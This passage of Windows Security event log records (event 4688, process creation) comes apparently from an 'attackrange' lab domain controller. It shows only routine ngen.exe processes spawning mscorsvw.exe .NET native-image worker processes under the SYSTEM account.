	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 89c -InterruptEvent 0 -NGENProcess 368 -Pipe 880 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255236
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8a0 -InterruptEvent 0 -NGENProcess 894 -Pipe 888 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255235
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 88c -InterruptEvent 0 -NGENProcess 874 -Pipe 1e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255234
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1250
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 870 -InterruptEvent 0 -NGENProcess 884 -Pipe 8a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255233
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 8a0 -Pipe 84c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255241
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x58c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8b0 -InterruptEvent 0 -NGENProcess 890 -Pipe 88c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255240
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 874 -InterruptEvent 0 -NGENProcess 8b4 -Pipe 8ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255239
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7e8 -InterruptEvent 0 -NGENProcess 8a8 -Pipe 89c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255238
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 884 -Pipe 82c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255237
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 82c -InterruptEvent 0 -NGENProcess 284 -Pipe 868 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255247
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 870 -InterruptEvent 0 -NGENProcess 8a8 -Pipe 7e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255246
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1008
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 8d0 -Pipe 8bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255245
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8b4 -InterruptEvent 0 -NGENProcess 81c -Pipe 884 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255244
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8d0 -InterruptEvent 0 -NGENProcess 8bc -Pipe 8d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255243
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf80
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 894 -InterruptEvent 0 -NGENProcess 870 -Pipe 8a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255242
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8c4 -InterruptEvent 0 -NGENProcess 81c -Pipe 8b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255254
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8f8 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 8fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255253
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8ec -InterruptEvent 0 -NGENProcess 8e0 -Pipe 904 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255252
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
